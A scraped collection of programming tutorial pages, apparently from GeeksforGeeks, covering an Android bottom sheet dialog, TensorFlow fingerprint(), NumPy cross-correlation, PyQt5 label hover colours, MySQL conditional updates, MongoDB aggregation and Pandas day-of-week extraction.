Toast.makeText(getActivity(), \"Course Shared\", Toast.LENGTH_SHORT) .show(); dismiss(); } }); return v; }}" }, { "code": null, "e": 9848, "s": 9825, "text": "BottomSheetDialog.java" }, { "code": "package org.geeksforgeeks.gfgmodalsheet; import android.os.Bundle;import android.view.LayoutInflater;import android.view.View;import android.view.ViewGroup;import android.widget.Button;import android.widget.Toast; import androidx.annotation.Nullable;import com.google.android.material.bottomsheet.BottomSheetDialogFragment; public class BottomSheetDialog extends BottomSheetDialogFragment { @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.bottom_sheet_layout, container, false); Button algo_button = v.findViewById(R.id.algo_button); Button course_button = v.findViewById(R.id.course_button); algo_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), \"Algorithm Shared\", Toast.LENGTH_SHORT) .show(); dismiss(); } }); course_button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), \"Course Shared\", Toast.LENGTH_SHORT) .show(); dismiss(); } }); return v; }}", "e": 11373, "s": 9848, "text": null }, { "code": null, "e": 12100, "s": 11373, "text": "Add the following code in activity_main.xml file. Here we add a button on activity_main layout.activity_main.javaactivity_main.java<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:gravity=\"center_horizontal\" android:orientation=\"vertical\" tools:context=\".MainActivity\"> <Button android:layout_marginTop=\"30dp\" android:id=\"@+id/open_bottom_sheet\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Open Modal Bottom Sheet\" /></LinearLayout>" }, { "code": null, "e": 12119, "s": 12100, "text": "activity_main.java" }, { "code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:gravity=\"center_horizontal\" android:orientation=\"vertical\" tools:context=\".MainActivity\"> <Button android:layout_marginTop=\"30dp\" android:id=\"@+id/open_bottom_sheet\" android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:text=\"Open Modal Bottom Sheet\" /></LinearLayout>", "e": 12715, "s": 12119, "text": null }, { "code": null, "e": 13806, "s": 12715, "text": "Add the following code in the MainActivity.java file. Here an onClickListener is attached with the button. If the user clicks on it, it gets invoked and bottom sheet dialog displays to user.MainActivity.javaMainActivity.javapackage org.geeksforgeeks.gfgmodalsheet; import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.Button; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button OpenBottomSheet = findViewById(R.id.open_bottom_sheet); OpenBottomSheet.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { BottomSheetDialog bottomSheet = new BottomSheetDialog(); bottomSheet.show(getSupportFragmentManager(), \"ModalBottomSheet\"); } }); }}" }, { "code": null, "e": 13824, "s": 13806, "text": "MainActivity.java" }, { "code": "package org.geeksforgeeks.gfgmodalsheet; import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle;import android.view.View;import android.widget.Button; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button OpenBottomSheet = findViewById(R.id.open_bottom_sheet); OpenBottomSheet.setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { BottomSheetDialog bottomSheet = new BottomSheetDialog(); bottomSheet.show(getSupportFragmentManager(), \"ModalBottomSheet\"); } }); }}", "e": 14691, "s": 13824, "text": null }, { "code": null, "e": 14699, "s": 14691, "text": "Output:" }, { "code": null, "e": 14710, "s": 14699, "text": "nidhi_biet" }, { "code": null, "e": 14718, "s": 14710, "text": "android" }, { "code": null, "e": 14723, "s": 14718, "text": "Java" }, { "code": null, "e": 14728, "s": 14723, "text": "Java" }, { "code": null, "e": 14826, "s": 14728, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 14877, "s": 14826, "text": "Object Oriented Programming (OOPs) Concept in Java" }, { "code": null, "e": 14908, "s": 14877, "text": "How to iterate any Map in Java" }, { "code": null, "e": 14927, "s": 14908, "text": "Interfaces in Java" }, { "code": null, "e": 14957, "s": 14927, "text": "HashMap in Java with Examples" }, { "code": null, "e": 14972, "s": 14957, "text": "Stream In Java" }, { "code": null, "e": 14990, "s": 14972, "text": "ArrayList in Java" }, { "code": null, "e": 15010, "s": 14990, "text": "Collections in Java" }, { "code": null, "e": 15034, "s": 15010, "text": "Singleton Class in Java" }, { "code": null, "e": 15066, "s": 15034, "text": "Multidimensional Arrays in Java" } ]
Python – tensorflow.fingerprint()
10 Jul, 2020 TensorFlow is open-source Python library designed by Google to develop Machine Learning models and deep learning neural networks. fingerprint() is used to generate fingerprint value. Syntax: tensorflow.fingerprint( data, method, name) Parameters: data: It is a Tensor having rank 1 or higher. method: It defines the algorithm to be used to generate fingerprint. name(optional): It defines the name for the operation. Return: It returns a 2-D Tensor of dtype unit32. Example 1: Python3 # Importing the libraryimport tensorflow as tf # Initializing the inputdata = tf.constant([1, 2, 3, 4])method = 'farmhash64' # Printing the inputprint('data: ', data)print('method: ', method) # Calculating resultres = tf.fingerprint(data, method) # Printing the resultprint('res: ', res) Output: data: tf.Tensor([1 2 3 4], shape=(4, ), dtype=int32) method: farmhash64 res: tf.Tensor( [[ 84 24 96 84 195 82 124 105] [ 15 219 106 105 88 163 17 93] [ 92 8 0 238 168 146 54 37] [178 113 27 7 149 125 165 247]], shape=(4, 8), dtype=uint8) Example 2: Python3 # Importing the libraryimport tensorflow as tf # Initializing the inputdata = tf.constant([[1, 2], [ 3, 4]])method = 'farmhash64' # Printing the inputprint('data: ', data)print('method: ', method) # Calculating resultres = tf.fingerprint(data, method) # Printing the resultprint('res: ', res) Output: data: tf.Tensor( [[1 2] [3 4]], shape=(2, 2), dtype=int32) method: farmhash64 res: tf.Tensor( [[ 76 18 253 133 168 204 240 10] [254 162 60 240 103 244 53 255]], shape=(2, 8), dtype=uint8) Python-Tensorflow Tensorflow Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n10 Jul, 2020" }, { "code": null, "e": 160, "s": 28, "text": "TensorFlow is open-source Python library designed by Google to develop Machine Learning models and deep learning neural networks. " }, { "code": null, "e": 213, "s": 160, "text": "fingerprint() is used to generate fingerprint value." }, { "code": null, "e": 265, "s": 213, "text": "Syntax: tensorflow.fingerprint( data, method, name)" }, { "code": null, "e": 277, "s": 265, "text": "Parameters:" }, { "code": null, "e": 323, "s": 277, "text": "data: It is a Tensor having rank 1 or higher." }, { "code": null, "e": 392, "s": 323, "text": "method: It defines the algorithm to be used to generate fingerprint." }, { "code": null, "e": 447, "s": 392, "text": "name(optional): It defines the name for the operation." }, { "code": null, "e": 496, "s": 447, "text": "Return: It returns a 2-D Tensor of dtype unit32." }, { "code": null, "e": 507, "s": 496, "text": "Example 1:" }, { "code": null, "e": 515, "s": 507, "text": "Python3" }, { "code": "# Importing the libraryimport tensorflow as tf # Initializing the inputdata = tf.constant([1, 2, 3, 4])method = 'farmhash64' # Printing the inputprint('data: ', data)print('method: ', method) # Calculating resultres = tf.fingerprint(data, method) # Printing the resultprint('res: ', res)", "e": 807, "s": 515, "text": null }, { "code": null, "e": 815, "s": 807, "text": "Output:" }, { "code": null, "e": 1077, "s": 815, "text": "data: tf.Tensor([1 2 3 4], shape=(4, ), dtype=int32)\nmethod: farmhash64\nres: tf.Tensor(\n[[ 84 24 96 84 195 82 124 105]\n [ 15 219 106 105 88 163 17 93]\n [ 92 8 0 238 168 146 54 37]\n [178 113 27 7 149 125 165 247]], shape=(4, 8), dtype=uint8)\n\n" }, { "code": null, "e": 1088, "s": 1077, "text": "Example 2:" }, { "code": null, "e": 1096, "s": 1088, "text": "Python3" }, { "code": "# Importing the libraryimport tensorflow as tf # Initializing the inputdata = tf.constant([[1, 2], [ 3, 4]])method = 'farmhash64' # Printing the inputprint('data: ', data)print('method: ', method) # Calculating resultres = tf.fingerprint(data, method) # Printing the resultprint('res: ', res)", "e": 1393, "s": 1096, "text": null }, { "code": null, "e": 1401, "s": 1393, "text": "Output:" }, { "code": null, "e": 1601, "s": 1401, "text": "data: tf.Tensor(\n[[1 2]\n [3 4]], shape=(2, 2), dtype=int32)\nmethod: farmhash64\nres: tf.Tensor(\n[[ 76 18 253 133 168 204 240 10]\n [254 162 60 240 103 244 53 255]], shape=(2, 8), dtype=uint8)\n\n\n" }, { "code": null, "e": 1619, "s": 1601, "text": "Python-Tensorflow" }, { "code": null, "e": 1630, "s": 1619, "text": "Tensorflow" }, { "code": null, "e": 1637, "s": 1630, "text": "Python" } ]
How to compute cross-correlation of two given NumPy arrays?
08 Dec, 2020 In the Numpy program, we can compute cross-correlation of two given arrays with the help of correlate(). In this first parameter and second parameter pass the given arrays it will return the cross-correlation of two given arrays. Syntax : numpy.correlate(a, v, mode = ‘valid’) Parameters :a, v : [array_like] Input sequences.mode : [{‘valid’, ‘same’, ‘full’}, optional] Refer to the convolve docstring. Default is ‘valid’. Return : [ndarray] Discrete cross-correlation of a and v. Example 1: In this example, we will create two NumPy arrays and the task is to compute cross-correlation using correlate(). Python3 import numpy as nparray1 = np.array([0, 1, 2])array2 = np.array([3, 4, 5]) # Original array1print(array1) # Original array2print(array2) # ross-correlation of the arraysprint("\nCross-correlation:\n", np.correlate(array1, array2)) Output: [0 1 2] [3 4 5] Cross-correlation: [14] Example 2: Python3 import numpy as nparray1 = np.array([1,2])array2 = np.array([1,2]) # Original array1print(array1) # Original array2print(array2)# Cross-correlation of the arraysprint("\nCross-correlation:\n", np.correlate(array1, array2)) Output: [1 2] [1 2] Cross-correlation: [5] Python numpy-Matrix Function Python-numpy Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Python Classes and Objects Python | os.path.join() method Introduction To PYTHON Python OOPs Concepts How to drop one or multiple columns in Pandas Dataframe How To Convert Python Dictionary To JSON? Check if element exists in list in Python Python | Get unique values from a list Create a directory in Python
[ { "code": null, "e": 28, "s": 0, "text": "\n08 Dec, 2020" }, { "code": null, "e": 258, "s": 28, "text": "In the Numpy program, we can compute cross-correlation of two given arrays with the help of correlate(). In this first parameter and second parameter pass the given arrays it will return the cross-correlation of two given arrays." }, { "code": null, "e": 305, "s": 258, "text": "Syntax : numpy.correlate(a, v, mode = ‘valid’)" }, { "code": null, "e": 451, "s": 305, "text": "Parameters :a, v : [array_like] Input sequences.mode : [{‘valid’, ‘same’, ‘full’}, optional] Refer to the convolve docstring. Default is ‘valid’." }, { "code": null, "e": 509, "s": 451, "text": "Return : [ndarray] Discrete cross-correlation of a and v." }, { "code": null, "e": 520, "s": 509, "text": "Example 1:" }, { "code": null, "e": 633, "s": 520, "text": "In this example, we will create two NumPy arrays and the task is to compute cross-correlation using correlate()." }, { "code": null, "e": 641, "s": 633, "text": "Python3" }, { "code": "import numpy as nparray1 = np.array([0, 1, 2])array2 = np.array([3, 4, 5]) # Original array1print(array1) # Original array2print(array2) # ross-correlation of the arraysprint(\"\\nCross-correlation:\\n\", np.correlate(array1, array2))", "e": 880, "s": 641, "text": null }, { "code": null, "e": 888, "s": 880, "text": "Output:" }, { "code": null, "e": 930, "s": 888, "text": "[0 1 2]\n[3 4 5]\n\nCross-correlation:\n [14]" }, { "code": null, "e": 941, "s": 930, "text": "Example 2:" }, { "code": null, "e": 949, "s": 941, "text": "Python3" }, { "code": "import numpy as nparray1 = np.array([1,2])array2 = np.array([1,2]) # Original array1print(array1) # Original array2print(array2)# Cross-correlation of the arraysprint(\"\\nCross-correlation:\\n\", np.correlate(array1, array2))", "e": 1179, "s": 949, "text": null }, { "code": null, "e": 1187, "s": 1179, "text": "Output:" }, { "code": null, "e": 1224, "s": 1187, "text": "[1 2]\n[1 2]\n\nCross-correlation:\n [5]" }, { "code": null, "e": 1253, "s": 1224, "text": "Python numpy-Matrix Function" }, { "code": null, "e": 1266, "s": 1253, "text": "Python-numpy" }, { "code": null, "e": 1273, "s": 1266, "text": "Python" }, { "code": null, "e": 1371, "s": 1273, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1403, "s": 1371, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 1430, "s": 1403, "text": "Python Classes and Objects" }, { "code": null, "e": 1461, "s": 1430, "text": "Python | os.path.join() method" }, { "code": null, "e": 1484, "s": 1461, "text": "Introduction To PYTHON" }, { "code": null, "e": 1505, "s": 1484, "text": "Python OOPs Concepts" }, { "code": null, "e": 1561, "s": 1505, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 1603, "s": 1561, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 1645, "s": 1603, "text": "Check if element exists in list in Python" }, { "code": null, "e": 1684, "s": 1645, "text": "Python | Get unique values from a list" } ]
PyQt5 – Changing background color of Label when hover
30 May, 2022 In this article we will see how to change the background color of the label when cursor will hover over it. When cursor will come upon the label it will change color to it and when cursor is not over the label, it goes back to it default color. In order to do this we have to change the style sheet code which is used with the label object, and have to set background color when mouse hover over it, below is the style sheet code. QLabel::hover { background-color : lightgreen; } Below is the implementation. Python3 # importing librariesfrom PyQt5.QtWidgets import *from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import *from PyQt5.QtCore import *import sys class Window(QMainWindow): def __init__(self): super().__init__() # setting title self.setWindowTitle("Python ") # setting geometry self.setGeometry(100, 100, 600, 400) # calling method self.UiComponents() # showing all the widgets self.show() # method for widgets def UiComponents(self): # creating label label = QLabel("Hello Geeks", self) # setting geometry of the label label.setGeometry(200, 150, 100, 40) # setting background color to label when mouse hover over it label.setStyleSheet("QLabel::hover" "{" "background-color : lightgreen;" "}") # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec()) Output : vinayedula Python-gui Python-PyQt Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n30 May, 2022" }, { "code": null, "e": 459, "s": 28, "text": "In this article we will see how to change the background color of the label when cursor will hover over it. When cursor will come upon the label it will change color to it and when cursor is not over the label, it goes back to it default color. In order to do this we have to change the style sheet code which is used with the label object, and have to set background color when mouse hover over it, below is the style sheet code." }, { "code": null, "e": 508, "s": 459, "text": "QLabel::hover\n{\nbackground-color : lightgreen;\n}" }, { "code": null, "e": 538, "s": 508, "text": "Below is the implementation. " }, { "code": null, "e": 546, "s": 538, "text": "Python3" }, { "code": "# importing librariesfrom PyQt5.QtWidgets import *from PyQt5 import QtCore, QtGuifrom PyQt5.QtGui import *from PyQt5.QtCore import *import sys class Window(QMainWindow): def __init__(self): super().__init__() # setting title self.setWindowTitle(\"Python \") # setting geometry self.setGeometry(100, 100, 600, 400) # calling method self.UiComponents() # showing all the widgets self.show() # method for widgets def UiComponents(self): # creating label label = QLabel(\"Hello Geeks\", self) # setting geometry of the label label.setGeometry(200, 150, 100, 40) # setting background color to label when mouse hover over it label.setStyleSheet(\"QLabel::hover\" \"{\" \"background-color : lightgreen;\" \"}\") # create pyqt5 appApp = QApplication(sys.argv) # create the instance of our Windowwindow = Window() # start the appsys.exit(App.exec())", "e": 1580, "s": 546, "text": null }, { "code": null, "e": 1589, "s": 1580, "text": "Output :" }, { "code": null, "e": 1600, "s": 1589, "text": "vinayedula" }, { "code": null, "e": 1611, "s": 1600, "text": "Python-gui" }, { "code": null, "e": 1623, "s": 1611, "text": "Python-PyQt" }, { "code": null, "e": 1630, "s": 1623, "text": "Python" } ]
Can we update MySQL with if condition?
You can update MySQL with IF condition as well as CASE statement. For this purpose, let us first create a table. The query to create a table − mysql> create table UpdateWithIfCondition −> ( −> BookId int, −> BookName varchar(200) −> ); Query OK, 0 rows affected (0.60 sec) Now you can insert records in the table using insert command. The query is as follows − mysql> insert into UpdateWithIfCondition values(1000,'C in Depth'); Query OK, 1 row affected (0.12 sec) mysql> insert into UpdateWithIfCondition values(1001,'Introduction to Java'); Query OK, 1 row affected (0.14 sec) Display all records from the table using select statement. The query is as follows − mysql> select *from UpdateWithIfCondition; The following is the output − +--------+----------------------+ | BookId | BookName | +--------+----------------------+ | 1000 | C in Depth | | 1001 | Introduction to Java | +--------+----------------------+ 2 rows in set (0.00 sec) Let us update the value ‘C in Depth’ with the value 'Introduction to C' and 1001 with the value 2000 using if condition. The query is as follows − mysql> update UpdateWithIfCondition −> set BookName = if(BookName = 'C in Depth','Introduction to C',BookName), −> BookId = if(BookId = 1001,2000,BookId); Query OK, 2 rows affected (0.43 sec) Rows matched: 2 Changed: 2 Warnings: 0 Above, we have updated both the column values. The following is the query to check both the two values have been updated or not − mysql> select *from UpdateWithIfCondition; The following is the output displaying that we have successfully updated the values using if − +--------+----------------------+ | BookId | BookName | +--------+----------------------+ | 1000 | Introduction to C | | 2000 | Introduction to Java | +--------+----------------------+ 2 rows in set (0.00 sec)
[ { "code": null, "e": 1205, "s": 1062, "text": "You can update MySQL with IF condition as well as CASE statement. For this purpose, let us first create a table. The query to create a table −" }, { "code": null, "e": 1347, "s": 1205, "text": "mysql> create table UpdateWithIfCondition\n −> (\n −> BookId int,\n −> BookName varchar(200)\n −> );\nQuery OK, 0 rows affected (0.60 sec)" }, { "code": null, "e": 1435, "s": 1347, "text": "Now you can insert records in the table using insert command. The query is as follows −" }, { "code": null, "e": 1654, "s": 1435, "text": "mysql> insert into UpdateWithIfCondition values(1000,'C in Depth');\nQuery OK, 1 row affected (0.12 sec)\n\nmysql> insert into UpdateWithIfCondition values(1001,'Introduction to Java');\nQuery OK, 1 row affected (0.14 sec)" }, { "code": null, "e": 1739, "s": 1654, "text": "Display all records from the table using select statement. The query is as follows −" }, { "code": null, "e": 1782, "s": 1739, "text": "mysql> select *from UpdateWithIfCondition;" }, { "code": null, "e": 1812, "s": 1782, "text": "The following is the output −" }, { "code": null, "e": 2041, "s": 1812, "text": "+--------+----------------------+\n| BookId | BookName |\n+--------+----------------------+\n| 1000 | C in Depth |\n| 1001 | Introduction to Java |\n+--------+----------------------+\n2 rows in set (0.00 sec)" }, { "code": null, "e": 2188, "s": 2041, "text": "Let us update the value ‘C in Depth’ with the value 'Introduction to C' and 1001 with the value 2000 using if condition. The query is as follows −" }, { "code": null, "e": 2425, "s": 2188, "text": "mysql> update UpdateWithIfCondition\n −> set BookName = if(BookName = 'C in Depth','Introduction to C',BookName),\n −> BookId = if(BookId = 1001,2000,BookId);\nQuery OK, 2 rows affected (0.43 sec)\nRows matched: 2 Changed: 2 Warnings: 0" }, { "code": null, "e": 2555, "s": 2425, "text": "Above, we have updated both the column values. The following is the query to check both the two values have been updated or not −" }, { "code": null, "e": 2598, "s": 2555, "text": "mysql> select *from UpdateWithIfCondition;" }, { "code": null, "e": 2693, "s": 2598, "text": "The following is the output displaying that we have successfully updated the values using if −" }, { "code": null, "e": 2922, "s": 2693, "text": "+--------+----------------------+\n| BookId | BookName |\n+--------+----------------------+\n| 1000 | Introduction to C |\n| 2000 | Introduction to Java |\n+--------+----------------------+\n2 rows in set (0.00 sec)" } ]
How to get items from an object array in MongoDB?
To get items from an object array, use aggregate(). Let us create a collection with documents − > db.demo459.insertOne( ... { "_id" : 1, ... "Information" : [ ... { ... "Name" : "Chris", ... "_id" : new ObjectId(), ... "details" : [ ... "HR" ... ] ... }, ... { ... ... "Name" : "David", ... "_id" : new ObjectId(), ... "details" : [ ... "Developer" ... ] ... }, ... { ... ... "Name" : "Bob", ... "_id" : new ObjectId(), ... "details" : [ ... "Account" ... ] ... } ... ] ... } ... ) { "acknowledged" : true, "insertedId" : 1 } Display all documents from a collection with the help of find() method − > db.demo459.find(); This will produce the following output − { "_id" : 1, "Information" : [ { "Name" : "Chris", "_id" : ObjectId("5e7ef4a7dbcb9adb296c95c9"), "details" : [ "HR" ] }, { "Name" : "David", "_id" : ObjectId("5e7ef4a7dbcb9adb296c95ca"), "details" : [ "Developer" ] }, { "Name" : "Bob", "_id" : ObjectId("5e7ef4a7dbcb9adb296c95cb"), "details" : [ "Account" ] } ] } Following is the query to get items from an object array in MongoDB − > db.demo459.aggregate([ ... { $unwind: '$Information' }, ... { $unwind: '$Information.details' }, ... { $match: { 'Information.Name': { $in: ["Chris","Bob"]} } }, ... { $group: { _id: null, detailList: { $addToSet: '$Information.details' } } }, ... ]) This will produce the following output − { "_id" : null, "detailList" : [ "Account", "HR" ] }
[ { "code": null, "e": 1158, "s": 1062, "text": "To get items from an object array, use aggregate(). Let us create a collection with documents −" }, { "code": null, "e": 1663, "s": 1158, "text": "> db.demo459.insertOne(\n... { \"_id\" : 1,\n... \"Information\" : [\n... {\n... \"Name\" : \"Chris\",\n... \"_id\" : new ObjectId(),\n... \"details\" : [\n... \"HR\"\n... ]\n... },\n... {\n...\n... \"Name\" : \"David\",\n... \"_id\" : new ObjectId(),\n... \"details\" : [\n... \"Developer\"\n... ]\n... },\n... {\n...\n... \"Name\" : \"Bob\",\n... \"_id\" : new ObjectId(),\n... \"details\" : [\n... \"Account\"\n... ]\n... }\n... ]\n... }\n... )\n{ \"acknowledged\" : true, \"insertedId\" : 1 }" }, { "code": null, "e": 1736, "s": 1663, "text": "Display all documents from a collection with the help of find() method −" }, { "code": null, "e": 1757, "s": 1736, "text": "> db.demo459.find();" }, { "code": null, "e": 1798, "s": 1757, "text": "This will produce the following output −" }, { "code": null, "e": 2112, "s": 1798, "text": "{ \"_id\" : 1, \"Information\" : [ { \"Name\" : \"Chris\", \"_id\" : ObjectId(\"5e7ef4a7dbcb9adb296c95c9\"),\n\"details\" : [ \"HR\" ] }, { \"Name\" : \"David\", \"_id\" : ObjectId(\"5e7ef4a7dbcb9adb296c95ca\"),\n\"details\" : [ \"Developer\" ] }, { \"Name\" : \"Bob\", \"_id\" : ObjectId(\"5e7ef4a7dbcb9adb296c95cb\"),\n\"details\" : [ \"Account\" ] } ] }" }, { "code": null, "e": 2182, "s": 2112, "text": "Following is the query to get items from an object array in MongoDB −" }, { "code": null, "e": 2447, "s": 2182, "text": "> db.demo459.aggregate([\n... { $unwind: '$Information' },\n... { $unwind: '$Information.details' },\n... { $match: { 'Information.Name': { $in: [\"Chris\",\"Bob\"]} } },\n... { $group: { _id: null, detailList: { $addToSet: '$Information.details' } } },\n... ])" }, { "code": null, "e": 2488, "s": 2447, "text": "This will produce the following output −" }, { "code": null, "e": 2541, "s": 2488, "text": "{ \"_id\" : null, \"detailList\" : [ \"Account\", \"HR\" ] }" } ]
Get Day from date in Pandas - Python - GeeksforGeeks
10 Jul, 2020 Let’s discuss how to get the day from the date in Pandas. There can be various ways for doing the same. Let’s go through them with the help of examples for better understanding. Example 1 : Pandas.dt_range takes input as a range of dates and returns a fixed frequency DatetimeIndex. Series.dt.dayofweek returns the day of the week ranging from 0 to 6 where 0 denotes Monday and 6 denotes Sunday. import pandas as pd date = pd.date_range('2018-12-30', '2019-01-07', freq='D').to_series()date.dt.dayofweek Output : Example 2 : Pandas.DataFrame acts as a dict type container for series objects. pandas.to_datetime converts the input to datetime. import pandas as pd date = pd.DataFrame({'inputDate':['2020-07-07']})date['inputDate'] = pd.to_datetime(date['inputDate'])date['dayOfWeek'] = date['inputDate'].dt.day_name() date Output : Example 3 : For more than one input date. import pandas as pd date = pd.DataFrame({'inputDates':['2015-01-07', '2015-12-02', '2005-01-03', '2016-11-13', '2020-06-03'], 'inputVals':[1, 2, 3, 4, 5]}) date['inputDates'] = pd.to_datetime(date['inputDates'])date['dayOfWeek'] = date['inputDates'].dt.day_name() date Output : Example 4 : In order to print the days in a particular format. import pandas as pd date = pd.DataFrame({'inputDates':['1999-7-14', '1998-12-14', '2001-01-18', '2020-07-18', '2006-01-8'], 'inputVals':[1, 2, 3, 4, 5]}) date['inputDates'] = pd.to_datetime(date['inputDates'])date['dayOfWeek'] = date['inputDates'].dt.dayofweekdays = {0:'Mon', 1:'Tues', 2:'Wed', 3:'Thurs', 4:'Fri', 5:'Sat', 6:'Sun'}date['dayOfWeek'] = date['dayOfWeek'].apply(lambda x: days[x]) date Output : Example 5 : Take input as a range of dates and print their names along with the numbers given(0-6). import pandas as pd myDate = pd.DataFrame({'inputDates':list(pd.date_range('2018-12-30', '2019-01-07', freq ='D').to_series())}) myDate['inputDates'] = pd.to_datetime(myDate['inputDates'])myDate['dayOfWeek'] = myDate['inputDates'].dt.dayofweekmyDate['dayOfWeek'] = myDate['inputDates'].dt.day_name() myDate Output : Python pandas-dataFrame Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Python Dictionary How to Install PIP on Windows ? Enumerate() in Python Read a file line by line in Python Different ways to create Pandas Dataframe Reading and Writing to text files in Python Python OOPs Concepts Create a Pandas DataFrame from Lists *args and **kwargs in Python How to drop one or multiple columns in Pandas Dataframe
[ { "code": null, "e": 24516, "s": 24488, "text": "\n10 Jul, 2020" }, { "code": null, "e": 24694, "s": 24516, "text": "Let’s discuss how to get the day from the date in Pandas. There can be various ways for doing the same. Let’s go through them with the help of examples for better understanding." }, { "code": null, "e": 24912, "s": 24694, "text": "Example 1 : Pandas.dt_range takes input as a range of dates and returns a fixed frequency DatetimeIndex. Series.dt.dayofweek returns the day of the week ranging from 0 to 6 where 0 denotes Monday and 6 denotes Sunday." }, { "code": "import pandas as pd date = pd.date_range('2018-12-30', '2019-01-07', freq='D').to_series()date.dt.dayofweek", "e": 25043, "s": 24912, "text": null }, { "code": null, "e": 25052, "s": 25043, "text": "Output :" }, { "code": null, "e": 25182, "s": 25052, "text": "Example 2 : Pandas.DataFrame acts as a dict type container for series objects. pandas.to_datetime converts the input to datetime." }, { "code": "import pandas as pd date = pd.DataFrame({'inputDate':['2020-07-07']})date['inputDate'] = pd.to_datetime(date['inputDate'])date['dayOfWeek'] = date['inputDate'].dt.day_name() date", "e": 25365, "s": 25182, "text": null }, { "code": null, "e": 25374, "s": 25365, "text": "Output :" }, { "code": null, "e": 25416, "s": 25374, "text": "Example 3 : For more than one input date." }, { "code": "import pandas as pd date = pd.DataFrame({'inputDates':['2015-01-07', '2015-12-02', '2005-01-03', '2016-11-13', '2020-06-03'], 'inputVals':[1, 2, 3, 4, 5]}) date['inputDates'] = pd.to_datetime(date['inputDates'])date['dayOfWeek'] = date['inputDates'].dt.day_name() date", "e": 25779, "s": 25416, "text": null }, { "code": null, "e": 25788, "s": 25779, "text": "Output :" }, { "code": null, "e": 25851, "s": 25788, "text": "Example 4 : In order to print the days in a particular format." }, { "code": "import pandas as pd date = pd.DataFrame({'inputDates':['1999-7-14', '1998-12-14', '2001-01-18', '2020-07-18', '2006-01-8'], 'inputVals':[1, 2, 3, 4, 5]}) date['inputDates'] = pd.to_datetime(date['inputDates'])date['dayOfWeek'] = date['inputDates'].dt.dayofweekdays = {0:'Mon', 1:'Tues', 2:'Wed', 3:'Thurs', 4:'Fri', 5:'Sat', 6:'Sun'}date['dayOfWeek'] = date['dayOfWeek'].apply(lambda x: days[x]) date", "e": 26347, "s": 25851, "text": null }, { "code": null, "e": 26356, "s": 26347, "text": "Output :" }, { "code": null, "e": 26456, "s": 26356, "text": "Example 5 : Take input as a range of dates and print their names along with the numbers given(0-6)." }, { "code": "import pandas as pd myDate = pd.DataFrame({'inputDates':list(pd.date_range('2018-12-30', '2019-01-07', freq ='D').to_series())}) myDate['inputDates'] = pd.to_datetime(myDate['inputDates'])myDate['dayOfWeek'] = myDate['inputDates'].dt.dayofweekmyDate['dayOfWeek'] = myDate['inputDates'].dt.day_name() myDate", "e": 26877, "s": 26456, "text": null }, { "code": null, "e": 26886, "s": 26877, "text": "Output :" }, { "code": null, "e": 26910, "s": 26886, "text": "Python pandas-dataFrame" }, { "code": null, "e": 26924, "s": 26910, "text": "Python-pandas" }, { "code": null, "e": 26931, "s": 26924, "text": "Python" }, { "code": null, "e": 27029, "s": 26931, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27038, "s": 27029, "text": "Comments" }, { "code": null, "e": 27051, "s": 27038, "text": "Old Comments" }, { "code": null, "e": 27069, "s": 27051, "text": "Python Dictionary" }, { "code": null, "e": 27101, "s": 27069, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27123, "s": 27101, "text": "Enumerate() in Python" }, { "code": null, "e": 27158, "s": 27123, "text": "Read a file line by line in Python" }, { "code": null, "e": 27200, "s": 27158, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 27244, "s": 27200, "text": "Reading and Writing to text files in Python" }, { "code": null, "e": 27265, "s": 27244, "text": "Python OOPs Concepts" }, { "code": null, "e": 27302, "s": 27265, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 27331, "s": 27302, "text": "*args and **kwargs in Python" } ]
PyQt5 QCalendarWidget - Setting Focus Policy - GeeksforGeeks
